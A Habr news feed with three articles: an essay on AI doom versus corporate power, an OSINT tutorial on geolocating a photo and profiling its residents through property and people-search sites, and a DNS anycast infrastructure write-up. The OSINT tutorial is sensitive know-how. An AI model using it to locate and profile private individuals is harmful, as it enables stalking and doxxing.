Все публикации подряд на Хабре

[Перевод] Ловушка «Пари Паскаля»: как страх перед будущим ИИ отвлекает нас от проблем в настоящем

Sat, 18 Apr 2026 09:39:54 +0000

Давайте сразу честно: я не считаю нынешний ИИ разумным. И не верю, что все эти, при всём уважении, очень впечатляющие статистические трюки вдруг возьмут и приведут нас к настоящему интеллекту.

Поэтому разговоры в духе «а что мы будем делать, если ИИ станет разумным?» кажутся мне либо отвлекающим манёвром, либо просто красивым маркетингом.

Но при этом у меня с ИИ-думерами всё же есть что-то общее. Я тоже переживаю из-за технологий, которые находятся в руках корпораций, настолько разросшихся, что они уже почти не поддаются нормальному контролю. Я тоже переживаю из-за того, как эти технологии используют против людей. Меня тоже тревожит, как большие компании срастаются с государством и всё это начинает пахнуть очень неприятной смесью контроля, слежки и авторитаризма. Меня тоже волнует, как технологии используют, чтобы выжимать из работников всё больше, а жить им становилось всё хуже.

Просто, на мой взгляд, для этого никакой сверхразумный ИИ не нужен.

Всё это уже происходит.
И беспокоиться об этом нужно уже сейчас.

На прошлой неделе я как раз обсуждал это публично — на лекции в Монреале, где выступал вместе с Астрой Тейлор и Йошуа Бенджио. Бенджио, если что, — человек очень серьёзный: лауреат премии Тьюринга, один из тех, кто вообще заложил фундамент нынешнего бума deep learning.

И мы с ним, мягко говоря, не сошлись во взглядах.

Бенджио сейчас занимается инициативой под названием Lawzero. Идея у неё такая: создать международный ИИ-консорциум, который будет делать ИИ как общественное цифровое благо — открытое, прозрачное, проверяемое и безопасное.

Он говорит: ИИ станет намного сильнее, и если не появится какая-то нормальная, общественно ориентированная версия, нас ждут манипуляции, слежка, хаос, а дальше уже и риски для всей цивилизации.

И вот здесь я с ним не согласен.

Не потому, что мне всё равно. Наоборот — ИИ меня тоже пугает.

Но пугает по-другому.

Меня пугает, что какой-нибудь гладко говорящий продавец ИИ уговорит вашего начальника вас уволить и заменить системой, которая вообще-то вашу работу делать не умеет. Причём продавцу будет несложно: если начальство что и любит, так это идея не платить людям.

Меня пугает, что семь компаний, на которые сейчас приходится больше трети S&P 500, однажды схлопнутся, как только кто-то перестанет делать вид, будто один и тот же долговой лист на сто миллиардов долларов одновременно лежит на счетах у всех.

Меня пугает, что когда этот пузырь лопнет, чат-боты, которые и так кое-как заменяли уволенных людей, просто исчезнут — а вместе с ними исчезнет и сама работа. То есть задачи останутся, а делать их будет некому.

Меня пугает, что если треть фондового рынка испарится, дальше начнутся жёсткая экономия, социальная турбулентность и политические последствия, которые обычно ничем хорошим не заканчиваются.

Меня пугает, что люди, которые раньше делали эту работу, разойдутся кто куда: кого-то переучат, кого-то вытеснят, кого-то просто выдавят. А вместе с этим исчезнет и накопленное годами живое знание о том, как всё реально работает. То самое знание, которое нельзя быстро скачать, скопировать или сымитировать.

И потом, уже посреди экономического хаоса, мы будем пытаться заново собирать всё это по кусочкам.

Если коротко:
я боюсь, что ИИ — это что-то вроде асбеста, который мы сейчас радостно закладываем в стены собственной цивилизации, а потом наши потомки будут ещё поколениями это расчищать.

Но Бенджио думает иначе. Он уверен, что ИИ вот-вот станет сверхчеловеческим и начнёт творить очень опасные вещи, если мы срочно не возьмём ситуацию под контроль.

И вот что мне тогда пришло в голову: всё это очень похоже на пари Паскаля, только в новой упаковке.

Логика пари Паскаля такая: если есть хоть шанс, что Бог существует, разумнее жить так, будто он есть. Потому что если Бога нет — ты теряешь что-то конечное. Ну, какие-то удовольствия, привычки, комфорт. А если Бог есть — выигрываешь бесконечно много.

С этой идеей люди спорят уже больше трёхсот лет. Но у меня к её ИИ-версии есть свой, очень простой вопрос:

Кстати, об инструментах. Если вам нужен доступ ко всем ключевым моделям — Claude, GPT, Gemini — загляните на BotHub.

Для доступа не требуется VPN, можно использовать российскую карту.

По ссылке вы можете получить 300 000 бесплатных токенов для первых задач и приступить к работе с нейросетями прямо сейчас!

А как вы поймёте, что пора остановиться?

Человечество уже сожгло больше 1,4 триллиона долларов в попытке вызвать это цифровое божество. И пока ничего похожего на божество не возникло. Сколько ещё нужно потратить, чтобы сказать: похоже, в программе, угадывающей следующее слово, всё-таки не прячется бог?

Сэм Альтман говорит: ещё 2–3 триллиона. То есть примерно как полгода всех федеральных расходов США. Хорошо. Допустим, потратим. Если после этого бога тоже не обнаружится — всё? Закругляемся?

Судя по Илону Маску, нет.

У Маска, как обычно, план космического размаха: разобрать Солнечную систему и построить сферу Дайсона, чтобы ловить каждый фотон Солнца и направлять всю эту энергию на наши модели.

Ну допустим. Сделали и это. И что — если после этого никакого бога всё равно нет, мы наконец скажем: «ладно, хватит»?

С чего бы?

Если одного Солнца мало, всегда можно сказать, что нужно два. Или двести. Или две тысячи. А если мы уже вложили в это всё человечество, уже собрали под контроль две тысячи солнц, кто вообще решится остановиться? А вдруг бог сидит в две тысячи первом?

Создавать бога из алгоритмов — это как писать слово banana:
начать легко, остановиться трудно.

Но когда мы спорили с Бенджио на сцене, я вдруг понял, что у нас всё-таки есть общая точка.

Потому что когда кто-то начинает говорить о гуманной технологии, которая уважает приватность и работает в интересах людей, а не их начальства, — я сразу начинаю слушать внимательнее. А если рядом ещё звучат слова «международные цифровые общественные блага», то всё, вы меня уже зацепили.

Потому что в каком-то смысле мы с Бенджио боимся одного и того же.

Я тоже боюсь, что нашу планету уже колонизировали искусственные формы жизни, которые мы сами создали, а потом потеряли над ними контроль. Я тоже боюсь, что эти формы жизни ломают наши механизмы понимания мира — так, что мы всё хуже различаем, где правда, а где нет. Я тоже боюсь, что они захватили государственные институты — парламенты, регуляторов, суды — и заставили их работать не на людей, а на интересы этих новых хозяев.

Только есть одна разница.

Те искусственные формы жизни, которых боюсь я, — не гипотетические. Они уже здесь.

И называются они корпорации с ограниченной ответственностью.

Вот это и есть вполне реальная, уже наступившая, очень осязаемая угроза.

И более того: чтобы с ней справиться, нам действительно понадобятся те самые международные цифровые общественные блага. Нам нужен постамериканский интернет: свободные, открытые, проверяемые, прозрачные платформы и прошивки для всех задач и всех устройств, которыми мы сегодня пользуемся.

И даже если мы всё это построим, останется другая огромная работа: вытащить из нынешнего зависимого цифрового мира все наши системы, сервисы и близких. Перевести людей и инфраструктуру из интернета, который следит, контролирует и ломает всё под интересы нескольких корпораций.

Каждая лишняя минута, которую мы проводим в этом нынешнем цифровом болоте, — это уже риск.

Теоретически один политический приказ может отключить технику, платформы, облака, обновления, критический софт. Не нужны ни танки, ни вторжение, если можно просто выключить доступ к тому, на чём всё держится.

И вот это — не какой-то сценарий на отдалённое будущее.

Это то, с чем мы уже живём.
Прямо сейчас.

И, если честно, это действительно очень страшно.

Поэтому вот моё встречное предложение

Если вы считаете, что нам нужно строить международные цифровые общественные блага, чтобы защититься от будущей, возможной, колонизирующей, безжалостной искусственной формы жизни, — давайте хотя бы согласимся вот в чём:

прототип этого проекта нам нужен уже сегодня.

Потому что прямо сейчас нам уже нужны международные цифровые общественные блага, чтобы построить постамериканский интернет и выбраться из-под власти тех безжалостных, хищных искусственных форм жизни, которые уже держат нас в мёртвой хватке.

Если мы справимся с этой нынешней угрозой, вполне может оказаться, что у людей, пытающихся вызвать вашего «злого цифрового бога», просто больше не останется ни ресурсов, ни условий, чтобы это делать. И тогда ваш сценарий предотвратится сам собой.

А если нет — если после всего этого угроза всё равно останется, если ваш злой бог всё ещё будет маячить впереди, — тогда я с готовностью встану рядом с вами. И помогу собрать всех тех людей, которые умеют строить международные цифровые общественные блага, — людей, которые к тому моменту уже будут закалены победой над нынешней корпоративной машиной.

И тогда вместе будем разбираться уже со следующим чудовищем.

По-моему, это вполне честная сделка.

OSINT для ленивых. Часть 8: GEOINT по фото за 3 минуты

hack_less — Sat, 18 Apr 2026 09:29:41 +0000

GEOINT (Geospatial Intelligence — геопространственная разведка) — это сбор, анализ и интерпретация изображений, карт и геоданных (GPS, метаданные) для описания и оценки физических особенностей и событий на Земле.
Это направление OSINT, соединяющее спутниковые снимки, карты и геотеги из соцсетей для точного установления времени и места.

Любой осинтер, даже самый ленивый, не может отрицать важность геоинта (исследования по местоположению объекта). Если вы не знаете, что это такое, то "Хьюстон, у вас проблемы".

Разберемся с базой: зачастую под геоинтом, понимают определение местоположения объекта по фото или видеоряду. Все, что связано с географией объекта относится к геоинту, любой документ, любые данные. Банковские документы, коммунальные счета, звукоряд...

По большому счету, это — основа ОСИНТ исследований, потому что без привязки к географии, объект исследования — это сова Шредингера и, даже без глобуса. Ну а поскольку свыше 70% информации мы воспринимаем зрительно, то и доля визуальной информации в такого рода исследованиях занимает сравнимую долю. С нее и начнем.

Нюансы типа синих меток на столбах или где какое дерево растет, разбирать не станем. В них можно углубляться до бесконечности.

А так как осинтеры мы — ленивые, то попробуем упростить себе жизнь при помощи нейросетей и других вспомогательных ресурсов. Прежде всего, используем сервисы с набором различных карт, собранных в одном месте: https://javier.jimenezshaw.com/mapas/mapas.html

Несколько типов карт в одном месте.

Есть даже карты железных дорог, на минуточку — это удобно для сравнения различных типов карт на одном экране. Иногда такая необходимость существует. И, чтобы облегчить себе жизнь, мы можем видеть одну и ту же местность на 2х картах одновременно. При этом, список карт у нас выпадающих списках сверху. Там мы можем переключать нужные типы карт для сравнения. Особенно это полезно при анализе известной местности и поиске деталей.

Скажете: "Это — абстракция.
А что с конкретного? Поставим задачу: у нас есть фото местности, без метаданных.
Помним? Метаданные с фотографии дают нам координаты местности и другую инфу.
Что делать, если их у нас нету? Есть просто картинка, будем разбираться.

Для примера, возьмем фотографию из Гугла. Какой-нибудь городской пейзаж, например, вот этот:

Это просто пример.

Конечно, мы можем пойти и таким путем: просто загнать фото в поиск по изображению и посмотреть среди миллионов картинок примерные связи и местоположение. Работы много, точность сомнительна. Но мы же — лентяи, зачем нам такие сложности?

Используем простые но действенные ресурсы: https://www.imggeo.com, с точностью до 98% он нам определяет место как 6100 Miramonte, Irvine, CA 92618 с координатами: GPS 33°38'24.216"N 117°44'48.048"W

Жмем на кнопку Analyze Image

Хорошо, но мало. Ну ты нашел, какой-то адрес. Что ты с ним делать будешь?
Следующим логическим шагом нужно бы посмотреть что там находится, кто там живет и с чем их едят.

Один из основных ресурсов, которые дают нам информацию по адресу в США — это https://www.zillow.com, он дает нам историю здания в плане продаж, доступности аренды, цен на это помещение.

Например, для этого адреса, мы видим, что это жилое здание с инфраструктурой, аппартаментами, парковкой на крыше, в хорошем районе со средней стоимостью аренды от 3,8тыс $ в месяц.

Хороший район

Подобные ресурсы, с аналогичным набором данных: https://www.redfin.com и https://www.realtor.com
При необходимости, вы даже можете связаться с риелторами или уполномоченными лицами для большей детализации.
Так же можно использовать сервис аренды жилья AirBNB или же https://www.homefacts.com/address/California/Orange-County/Irvine/92618/6100-Miramonte/330684432.html# например.
Конкретно по собственникам нам расскажет https://www.spokeo.com. Ресурс условно бесплатный, за подробную информацию требует оплаты.

Spoceo

Что нам дает такого рода информация? По меньшей мере, что человек, проживающий по адресу 6100 Miramonte, Irvine, CA 92618 не в коробке от холодильника на улице живет, и при определенной долей наглости и изобретательности (все в рамках закона, помним!) мы можем проверить живет ли он там в реальности. Мы можем просто обзвонить риелторов и поинтересоваться за всякое.
Таким образом, мы определили место съемки фото, локализовали адрес и определили какого плана публика там обитает.

Повторюсь, по большому счету, универсального рецепта на все случаи для такой работы нет. Если zillow работает в США, то для Европы или Азии нужны другие инструменты, они сильно локализованы по странам и регионам. Соответственно, в каждой из них есть свои ограничения и инструменты подбирать придется с учетом местных особенностей. Хорошо применять глобальные сервисы аренды и торговли недвижимостью. Это дает максимальный охват территории, сравнение близлежащих локаций и, если повезет, то и список жителей.

Общий ключ такой: геолокация, риэлторский анализ, сравнение вторичных данных, если же мы анализируем фото на улице или где-то в сельской местности, то достаточно использовать imggeo.com, что нам даст высоковероятное местоположение.

Следует помнить, что использование таких ресурсов дает более высокую точность в городских условиях с использованием уникальных маркеров и ориентиров. Вообще хорошо — при наличии реальных метаданных, и меток личностей на фото. В сельской местности точность ниже. Краткий вывод: фото без метаданных — не тупик. Дорогу осилит идущий.

Мы в Telegram: https://t.me/+jAjZcfEdOx42NzRi

Отказоустойчивый Anycast DNS с управлением через IaC

Xelld — Sat, 18 Apr 2026 09:15:43 +0000

DNS — неотъемлемая и очень важная часть инфраструктуры, о которой иногда забывают. Порой её воспринимают как нечто само собой разумеющееся, что просто всегда есть и работает. Вспоминают о ней обычно при странных багах, которые сложно диагностировать, или авариях, которые рушат всю инфраструктуру на часы.

Некоторое время назад я добрался до задачи рефакторинга DNS инфраструктуры — чтобы сделать её проще, удобнее и надежнее. В этой статье я хочу поделиться своим опытом и расскажу, как у нас получилось сделать внутренний распределенный DNS и управлять им как кодом.

Вводные

Что мы имеем:

внутренние DNS, обслуживающие наши зоны и запросы от наших сервисов — это несколько ЦОД, зон доступности, точек присутствия или чего‑нибудь еще, где нужен DNS
приватные DNS, на которые нужно делать forward — нам нужно о них знать, но мы не можем управлять их зонами
внешние DNS — хостеры, облака и прочее, где мы только управляем зонами, но не их инфраструктурой
хаотичное управление этим зоопарком — часть автоматизирована, часть — нет, с ростом инфраструктуры DNS перестраивался неравномерно

Что хотим получить:

отказоустойчивый DNS, не требующий вмешательства инженера для восстановления
балансировку и распределение нагрузки
управление всеми зонами и правилами forward в одном окне
защиту от ошибок и краха всего DNS из‑за ошибочных изменений

В первую очередь мы сконцентрировались на внутренней инфраструктуре, но часть с управлением внешними зонами тоже не оставили без внимания.

Архитектура нового DNS

Мы рассматривали разные варианты управления, синхронизации состояний, передачу зон и изменений. Мало сделать просто доставку зон — хочется быть уверенным, что изменения доехали до серверов, иметь возможность проверки дельты. И желательно еще так, чтобы это всё работало с внешними DNS.

Zone transfer

Самый простой и популярный способ синхронизации между DNS серверами:

изменения вносятся на master
master отправляет NOTIFY на slave
slave синхронизируют состояние через AXFR или IXFR

Есть разные вариации, оптимизации, superslave сценарии и прочее.

Механизм рабочий и давно зарекомендовал себя, но нам не нравится:

зависимость от одного master на запись
непредсказуемая задержка при изменениях
далеко не все провайдеры согласятся на такую интеграцию

Этот вариант отбросили сразу.

PowerDNS Authoritative — Database Backend

Если не хочется переживать за NOTIFY, PowerDNS позволяет использовать для хранения зон базы данных (MySQL, Postgres, MSSQL — это не весь список). Теперь за хранение и репликацию отвечает база, про это не нужно думать, но...

Проблему multi‑master в DNS мы переложили на базы данных:

строить active‑active master на несколько ЦОД ради DNS точно не хочется
асинхронные реплики и их поддержка тоже не внушают энтузиазм

Оценив объемы и сложности, такой вариант тоже решили не рассматривать.

PowerDNS Authoritative — Database Backend (еще раз)

Вернее, мы решили не рассматривать репликацию баз. Зато вот сама база как хранилище зон позволяет нам использовать API для управления зонами — это удобно и позволит нам гибче управлять самим DNS.

Но репликация зон нам всё еще необходима, что делать? А нам не нужно ничего делать!

Мы просто не будем перекладывать эту задачу на DNS. Ведь мы уже управляем зонами через API, вот и состояние будем приводить к нужному тоже через API.

Получается так:

делаем нужное нам количество серверов PowerDNS
конфигурируем их как независимые узлы — они ничего не знают друг о друге
управляем их зонами с помощью внешнего инструмента

Так мы получаем консистентную конфигурацию, независимость серверов друг от друга, и программное управление в придачу. Отлично, это — именно то, что нам нужно.

Но тут мы решили только проблему с authoritative DNS, еще есть recursor.

PowerDNS Recursor

Раз уж мы уже рассматриваем PowerDNS Authoritative, логично посмотреть и на их Recursor. Его и выбрали.

У него тоже есть возможность управления через API. Вообще его можно использовать как authoritative, но, честно говоря, мы даже не рассматривали такой вариант. Пусть решает свои задачи, а зоны обслуживает предназначенный для этого Authoritative.

А что с dnsdist?

Мы про него мы не забыли.

Изначально думали поставить его как балансировщик перед всеми компонентами, но в нашем случае это показалось избыточным. Производительности Recursor нам хватает, сложных правил маршрутизации у нас нет, переписывать запросы на ходу нам не нужно, а саму балансировку мы реализовали другим способом.

Подробнее об этом — далее.

DNS server

Итак, наш DNS сервер состоит из pdns‑recursor и pdns‑authoritative.

На входе recursor обслуживает запросы, выступает как маршрутизатор и кеш, за ним authoritative — отвечает за наши зоны.

Получается такой путь запроса:

если зона явно не определена в forward — запрос уйдет в интернет на root hints
если определена и мы ей управляем — на него ответит локальный инстанс authoritative
если определена, но мы ей не управляем — recursor отправит запрос на указанный в конфигурации адрес

С самим DNS и стеком мы определились, теперь нужно собрать это вместе и научиться этим управлять.

Управление через IaC

Authoritative

Были разные идеи, как именно организовать работу с его API, даже сделать свой контроллер с reconciliation loop и вот это всё. Поразмыслив, явных плюсов от такой идеи мы для себя не нашли, поэтому решили остановиться на варианте попроще:

octodns для управления зонами
Gitlab CI для доставки конфигурации

Ранее я говорил, что мы хотим управлять еще и внешними зонами одним инструментом — и octodns как раз позволяет нам это сделать. У утилиты есть множество готовых провайдеров, включая сам powerdns. Плюс — он написан на python, код у него довольно простой, поэтому расширить функционал или добавить провайдер при необходимости не трудно.

В примерах ниже я сильно упростил конфигурацию. Документация по octodns и gitlab‑ci хорошо написана, поэтому разбирать логику, правила и прочее я здесь не буду.

Конфигурация octodns описывается в YAML, это позволяет нам переиспользовать значения и целые блоки с помощью anchors — очень удобно, когда у вас много зон и серверов.

У нас получается примерно такой репозиторий:

authoritative/
├── dns
│   └── intranet
│       ├── zone-a.internal
│       ├── zone-b.internal
│       └── zone-c.internal
├── dns-intranet.yaml
└── .gitlab-ci.yml

В dns-intranet.yaml определяются DNS серверы и доступы к API:

powerdns_template: &powerdns_template
  class: octodns_powerdns.PowerDnsProvider
  api_key: env/POWERDNS_AUTHORITATIVE_API_KEY
  scheme: https
  port: 443
  ssl_verify: true
providers:
  intranet_config:
    class: octodns.provider.yaml.YamlProvider
    directory: ./dns/intranet
    enforce_order: false
  ns-1-az-1:
    <<: *powerdns_template
    host: 192.0.2.11
  ns-2-az-1:
    <<: *powerdns_template
    host: 192.0.2.12
  ns-1-az-2:
    <<: *powerdns_template
    host: 192.0.2.21
  ns-2-az-2:
    <<: *powerdns_template
    host: 192.0.2.22
  ns-1-az-3:
    <<: *powerdns_template
    host: 192.0.2.31
  ns-2-az-3:
    <<: *powerdns_template
    host: 192.0.2.32
providers_templates:
  intranet_ns: &intranet_ns
    - ns-1-az-1
    - ns-2-az-1
    - ns-1-az-2
    - ns-2-az-2
    - ns-1-az-3
    - ns-2-az-3
zones:
  '*':
    sources:
      - intranet_config
    targets: *intranet_ns

В dns/intranet/ держим конфигурации зон в разных файлах, например:

# zone-a.internal

'':
  type: NS
  values:
    - ns1.zone-a.internal.
    - ns2.zone-a.internal.
ns1:
  ttl: 3600
  type: A
  value: 198.51.100.10
ns2:
  ttl: 3600
  type: A
  value: 198.51.100.20
service-1:
  ttl: 300
  type: A
  value: 192.0.2.101
service-2:
  ttl: 300
  type: A
  value: 192.0.2.102
service-3:
  ttl: 120
  type: A
  value: &svc-3 192.0.2.103
service-4:
  ttl: 120
  type: A
  value: &svc-4 192.0.2.104
svc-3-4:
  ttl: 120
  type: A
  values:
    - *svc-3
    - *svc-4

В pipeline запускается octodns, в нашем случае коммит в dev ветку вычисляет дельту, а изменение применяется после merge в prod:

# commit - dev
diff_intranet:
  stage: diff
  script:
    - octodns-sync --config-file dns-intranet.yaml

# merge - prod
apply_intranet:
  stage: apply
  script:
    - octodns-sync --config-file dns-intranet.yaml --doit --force

В pipeline - план выполнения и результаты измененй:

$ octodns-sync --config-file dns-intranet.yaml --doit --force

INFO    Manager sync:     targets=['ns-1-az-1', 'ns-1-az-2']
INFO    YamlProvider[intranet_config] populate:   found 7 records, exists=True
INFO    PowerDnsProvider[ns-1-az-1] plan: desired=zone-a.internal.
INFO    PowerDnsProvider[ns-1-az-1] populate:   found 8 records, exists=True
INFO    PowerDnsProvider[ns-1-az-1] plan:   Creates=0, Updates=2, Deletes=1, Existing=8, Meta=False
INFO    PowerDnsProvider[ns-1-az-2] plan: desired=zone-a.internal.
INFO    PowerDnsProvider[ns-1-az-2] populate:   found 8 records, exists=True
INFO    PowerDnsProvider[ns-1-az-2] plan:   Creates=0, Updates=2, Deletes=1, Existing=8, Meta=False
INFO    Plan
********************************************************************************
* zone-a.internal.
********************************************************************************
* ns-1-az-1 (PowerDnsProvider)
*   Delete <ARecord A 300, service-2.zone-a.internal., ['192.0.2.102']>
*   Update
*     <ARecord A 120, service-3.zone-a.internal., ['192.0.2.103']> ->
*     <ARecord A 120, service-3.zone-a.internal., ['192.0.2.110']> (intranet_config)
*   Update
*     <ARecord A 120, svc-3-4.zone-a.internal., ['192.0.2.103', '192.0.2.104']> ->
*     <ARecord A 120, svc-3-4.zone-a.internal., ['192.0.2.104', '192.0.2.110']> (intranet_config)
*   Summary: Creates=0, Updates=2, Deletes=1, Existing=8, Meta=False
* ns-1-az-2 (PowerDnsProvider)
*   Delete <ARecord A 300, service-2.zone-a.internal., ['192.0.2.102']>
*   Update
*     <ARecord A 120, service-3.zone-a.internal., ['192.0.2.103']> ->
*     <ARecord A 120, service-3.zone-a.internal., ['192.0.2.110']> (intranet_config)
*   Update
*     <ARecord A 120, svc-3-4.zone-a.internal., ['192.0.2.103', '192.0.2.104']> ->
*     <ARecord A 120, svc-3-4.zone-a.internal., ['192.0.2.104', '192.0.2.110']> (intranet_config)
*   Summary: Creates=0, Updates=2, Deletes=1, Existing=8, Meta=False
********************************************************************************


INFO    PowerDnsProvider[ns-1-az-1] apply: making 3 changes to zone-a.internal.
INFO    PowerDnsProvider[ns-1-az-2] apply: making 3 changes to zone-a.internal.
INFO    Manager sync:   6 total changes

Таким образом у нас управляются все ресурсы во всех зонах: и внутренних, и внешних. Все изменения проходят через merge request, тестируются и не позволят сломать весь DNS разом. Конфигурация применяется поочередно, если что‑то пойдет не так — выполнение остановится.

Но есть еще одна задача, которую нужно решить, прежде чем идти дальше.

Recursor

Octodns решает проблему управления и доставки зон для Authoritative, но это не работает с Recursor, а нам всё еще нужно управлять маршрутизацией запросов на другие DNS серверы, да и на наши тоже.

Сначала была идея добавить его как отдельный провайдер, но это не очень бьется с логикой проекта, мы всё же не будем управлять ресурсными записями. В общем, проще было сделать отдельную утилиту для управления forward конфигурацией (и recursor вообще) — так я написал pdns‑recursor‑cli. К сожалению, прямо сейчас я не готов выложить её в паблик, но постараюсь найти время и сделаю это позже.

Работает pdns‑recursor‑cli примерно так же, как octodns: получает желаемый state из файла конфигурации, сверяет его с состоянием DNS, применяет изменения, если есть расхождения.

В конфигурации описываются серверы (targets), данные для авторизации в API и путь к правилам forward (zone_file):

zone_file: dns/recursor/zones.yaml
targets:
 - name: rec-1
   api_url: https://ns-1.az-1.internal/rec/
   api_key: !env POWERDNS_RECURSOR_API_KEY
   api_ssl_verify: true
 - name: rec-2
   api_url: https://ns-1.az-2.internal/rec/
   api_key: !env POWERDNS_RECURSOR_API_KEY
   api_ssl_verify: true
 - name: rec-3
   api_url: https://ns-1.az-3.internal/rec/
   api_key: !env POWERDNS_RECURSOR_API_KEY
   api_ssl_verify: true

В zone_file описаны правила, как резолвить зону (рекурсивно или нет) и какие серверы для этого использовать:

aliases:
  internal_dns: &internal_dns
    - 192.0.2.11:53
    - 192.0.2.12:53
  remote_dns: &remote_dns
    - 198.51.100.10:53
    - 203.0.113.10:53
  testing_dns: &testing_dns
    - 192.0.2.201:53
zones:
  - name: intranet.internal.
    recursion_desired: false
    servers: *internal_dns
  - name: site-a.remote.tld.
    recursion_desired: false
    servers: *remote_dns
  - name: labs.example.
    recursion_desired: true
    servers: *testing_dns

Аналогично pipeline для Authoritative, запускается проверка дельты при коммите в dev:

$ pdns-recursor-cli state diff

Retrieving state
- [+] Retrieved state from rec-1
- [+] Retrieved state from rec-2
- [+] Retrieved state from rec-3

Diff with rec-1:  
- add: []  
  delete: []  
  update:  
   intranet.internal.:  
   - '[servers] 192.0.2.21:53, 192.0.2.22:53 -> 192.0.2.11:53, 192.0.2.12:53'  
  
Diff with rec-2:  
- add: []  
  delete: []  
  update:  
   intranet.internal.:  
   - '[servers] 192.0.2.21:53, 192.0.2.22:53 -> 192.0.2.11:53, 192.0.2.12:53'  
  
Diff with rec-3:  
- add: []  
  delete: []  
  update:  
   intranet.internal.:  
   - '[servers] 192.0.2.21:53, 192.0.2.22:53 -> 192.0.2.11:53, 192.0.2.12:53'

И применение конфига в prod:

$ pdns-recursor-cli state sync

Retrieving state
- [+] Retrieved state from rec-1  
- [+] Retrieved state from rec-2  
- [+] Retrieved state from rec-3  

Syncing state on rec-1  
- [+] Synced on rec-1  
Syncing state on rec-2  
- [+] Synced on rec-2  
Syncing state on rec-3  
- [+] Synced on rec-3

Этот же инструмент используется для работы с кешем:

$ pdns-recursor-cli cache flush intranet.internal.
Flushing caches for zone "intranet.internal.", recursive: False  
- [+] Flushed on rec-1  
- [+] Flushed on rec-2  
- [+] Flushed on rec-3
  
$ pdns-recursor-cli cache flush .
Flushing caches for zone ".", recursive: True  
- [+] Flushed on rec-1  
- [+] Flushed on rec-2  
- [+] Flushed on rec-3

Например, так мы можем сбросить DNS кеш на всей инфраструктуре по заданным доменам, отдельным записям или вообще весь.

Итоговая схема работы выглядит так:

сделали коммит — остальное делает CI/CD
проверка синтаксиса и грубых ошибок
получение дельты с recursor, authoritative и внешних DNS
вывод плана изменений
применение нового конфига после merge

Осталось подумать над отказоустойчивостью и балансировкой.

BGP Anycast

Тут не будет истории про выборы технологий и вариантов, потому что мы изначально планировали именно такой вариант. BGP для балансировки и HA уже давно использовался в других сервисах и нам хорошо знаком. И вообще я бывший сетевик, я люблю BGP (но дело не в этом!).

Конечно, важно учитывать особенности и ограничения, которые неизбежно будут влиять на работу сервисов, например, ограниченное количество ECMP групп на оборудовании или дроп асимметричного трафика на firewall из‑за отсутствия сессии в таблице — но мы про них помним, но сейчас я не буду разбирать эти сценарии.

Суть Anycast сводится к анонсированию одинакового сервисного адреса (или нескольких адресов) которые будут обслуживать наш трафик, со всех серверов внутри сети. Для этого серверы строят BGP пиринг с маршрутизаторами (или коммутаторами, или route‑reflector, или чем‑нибудь еще) в своей зоне доступности. Хороший пример применения BGP Anycast — Google DNS, он именно так и построен (конечно, сложнее, чем описано в этой статье).

В нормальном состоянии, запросы будут обслуживаться ближайшим к клиенту сервером, в случае отказа — трафик будет доставлен на другой сервер за счет перестроения маршрутизации. А в качестве бонуса мы получаем ECMP балансировку и возможность горизонтально масштабировать количество серверов, если это потребуется.

На стороне клиента в конфигурации DNS всегда одни и те же адреса, независимо от локации.

Как это реализовано

Для такой схемы требуется настройка со стороны сетевого оборудования. Допустим, у нас уже настроены BGP сессии на маршрутизаторах, они принимают наши адреса для DNS и разрешают AS path prepend (в нашем случае это важно).

На стороне DNS серверов (ns-1 и ns-2) создаются anycast адреса 198.51.100.10 и 198.51.100.20, применяемые на loopback интерфейс (в примере используется netplan):

# /etc/netplan/0_loopback.yaml

network:
  version: 2
  renderer: networkd
  ethernets:
    lo:
      addresses:
        - 127.0.0.1/8
        - ::1/128
        # anycast-svc-dns-1
        - 198.51.100.10/32
        # anycast-svc-dns-2
        - 198.51.100.20/32

Для стыковки по BGP используется bird, в нем настраиваются соседства, анонсы и фильтры. Дополнительно, мы анонсируем адреса с разным приоритетом для ns-1 и ns-2, используя path prepend. Таким образом, ns-1 всегда будет приоритетным для адреса 198.51.100.10, а ns-2 — для адреса 198.51.100.20.

Конфигурация bird для ns-1:

# ns-1

log syslog all;
router id 192.0.2.11;

protocol device {
}

protocol direct {
    interface "lo";
}

protocol kernel {
        import all;
        export all;
}

protocol bgp {
    local as 65501;
    neighbor 203.0.113.1 as 65502;
    neighbor 203.0.113.2 as 65502;
    keepalive time 3;
    hold time 9;
    import none;
    export filter {
        if net = 198.51.100.10/32 then accept;
        if net = 198.51.100.20/32 then {
            bgp_path.prepend(65501);
        } accept;
        reject;
    };
}

И для ns-2:

# ns-2

log syslog all;
router id 192.0.2.12;

protocol device {
}

protocol direct {
    interface "lo";
}

protocol kernel {
        import all;
        export all;
}

protocol bgp {
    local as 65501;
    neighbor 203.0.113.1 as 65502;
    neighbor 203.0.113.2 as 65502;
    keepalive time 3;
    hold time 9;
    import none;
    export filter {
        if net = 198.51.100.20/32 then accept;
        if net = 198.51.100.10/32 then {
            bgp_path.prepend(65501);
        } accept;
        reject;
    };
}

Здесь мы импортируем connected route из интерфейсов lo, запрещаем прием префиксов от соседей и анонсируем им только то, что определено в filter. Для понижения приоритета определенного префикса, мы добавляем ему в AS_PATH еще одно вхождение нашей AS (prepend).

Про выбор маршрута в BGP

В BGP есть много способов управлять трафиком и приоритетами, AS path prepend — только один из них. Например, по этому алгоритму выбирается маршрут в Cisco.

Этой минимальной конфигурации достаточно, чтобы наш DNS заработал. Осталось его масштабировать, покрыть мониторингом и написать DR план. Но это уже тема для другой статьи.

О чем я не рассказал

И о чем лучше подумать заранее.

В статье я намеренно не раскрывал все мелочи и особенности, которые могут быть, всё же целью было поделиться своей историей. Инфраструктура у всех разная и везде есть свои особенности. Но хочу отдельно отметить важные моменты, которые могут сэкономить нервы и минуты простоя, не вдаваясь детально в реализацию.

Шифрование и защита API

В примерах я не вдавался в настройку TLS, выпуск сертификатов и ограничения доступа к API. Разумеется, в проде это необходимо. Перед API можно поставить nginx, traefik или любой другой веб‑сервер, который решает эти задачи.

Автоматизация развертывания и управления серверами (и оборудованием)

На масштабе без автоматизации никуда, тем не менее, здесь это кртиически важно. Ошибки в конфигурации DNS могут очень больно стрелять. Мы используем ansible и gitlab для раскатки и изменения конфигураций (например, BGP), делаем это небольшими частями, предусматриваем автоматический откат и остановку выполнения, если что‑то пошло не по плану.

Liveness probe

Если DNS не будет работать, а адрес продолжит анонсироваться — будет неприятно. Например, это одна из причин, почему в конфигурации выше адреса отдаются с разным приоритетом. Возможно, кому‑то хватит systemd зависимостей bird от pdns, а кому‑то потребуется изменение анонсов BGP при наступлении определенных событий, например, с помощью birdwatcher. Мы внедряли проверки резолвинга своих зон и понижение приоритета, если что‑то идет не так.

